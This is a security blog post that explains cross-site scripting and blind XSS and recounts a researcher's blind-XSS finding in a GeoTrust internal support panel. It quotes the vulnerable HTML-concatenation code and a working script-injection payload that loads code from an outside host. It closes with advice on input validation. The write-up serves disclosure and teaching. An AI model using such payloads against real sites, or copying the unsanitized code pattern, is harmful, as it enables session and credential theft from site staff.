What is XSS?
XSS (or Cross Site Scripting) is a vulnerability in a website where you can inject Javascript code into a user input parameter (perhaps the url, query string, cookie, textbox, etc.) and because the developer did not properly validate the user input, when the HTTP response is returned and the web page is displayed by your browser, the browser mistakenly runs your user-inputted javascript. Why is this a problem? If a malicious actor can get you to click on a link and run their javascript in your browser, they can potentially compromise your browser, credentials, or even your entire system. They can inject key loggers, malware, etc. Bad Stuff.
What is BXSS?
With XSS defined above you get that immediate feedback. With BXSS you don't! I have written about BXSS once before. In short, you submit some malicious XSS user input somewhere, but the intent is not to exploit the system you're inputting the data into. Instead you're hoping to exploit and run Javascript on a different system that also manages that same data, likely at a later date. Great examples of this are websites that allow you to rate products and put comments in. If you were to inject comments into that textbox, one example of BXSS would be that hopefully when the Product Review person view your review on their internal intranet website from their cubical that the XSS code will execute on that local intranet site. Thus as the attacker you're blind, you submitted the XSS payload on the website product page, but you don't see the results, you don't get immediate feedback, you won't know if it worked until a few hours or days later when that Product Review specialist opens up your comments and attempts to moderate (approve/disapprove) them.
More from Matthew's blog
Matthew used the tool XSS Hunter which allows you to submit XSS attacks and it gives you detailed information about if the attack was successful or not, including things like screenshots of the webpage, the html code that displayed on the web page, etc. Perfect for BXSS because even though you couldn't technically see the exploit running, XSS Hunter gives you all the details as if you did.
It's an interesting concept too that Matthew mentions "In the world of blind payload testing, context is everything. You may only trigger the vulnerability a single time so you must have as much information as possible if you want to get it fixed." Basically the moderator may only ever moderate or review your comment once. Thus your first payload can't be an alert(1) test! Your first payload has to be the real-deal and it has to work the first time!
To explain Matthew's GeoTrust attack here's a short summary "during my testing I found an unintended vulnerability in GeoTrust’s Operations Panel when a support agent viewed my certificate request information. I woke up one morning with an XSS Hunter payload fire email titled [XSSHunter] XSS Payload Fired On https://ops.geotrust.com/opsdashboard/com.geotrust.presentation.app.ops.services.cancelagedorders.CancelAgedOrders/CancelAgedOrders.jsp in my inbox"
XSS Hunter showed him this code, and notice that the data[i].Customer is concatenated and ends up being displayed as html without any validation or sanitization.
for(i = 0; i < count; i++){ table = table + "<tr><td>" + data[i].ID + "</td><td>" + data[i].Product + "</td><td>" + data[i].Customer + "</td><td>" + (data[i]).Date + "</td><td>" + data[i].State + "</td></tr>";
}
So all Matthew had to do was inject the Customer field with this value
"><script src=https://y.vg></script>
And the internal Support Agent on the Intranet in his cubicle suddenly will load Matthew's evil XSS Hunter url (https://y.vg) and that url will download keyloggers, screenshots takers, or whatever other mayhem the attacker would like to inflict.
<tr><td>13785664</td><td>GeoTrust SSL Trial</td><td>"><script src="https://y.vg"></script></td><td>06/06/2016 05:40:04</td><td>Waiting for Whois Approval</td></tr>
To protect against XSS and BXSS you need to perform input validation on all user-input. User input remember can come from anywhere! Recall my blog post about What is the 'input' in input validation? In this case you can't forget that even the values in an SSL Certificate such as Customer should be consider user input, thus untrusted, and thus it needs sanitized. To sanitize you would ideally setup a regex that whitelists allowed characters / format , and you would use a standard XSS prevention library to strip out or encode malicious characters.
More about neonprimetime
Top Blogs of all-time
- pagerank botnet sql injection walk-thru
- DOM XSS 101 Walk-Through
- An Invoice email and a Hot mess of Java
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
No comments:
Post a Comment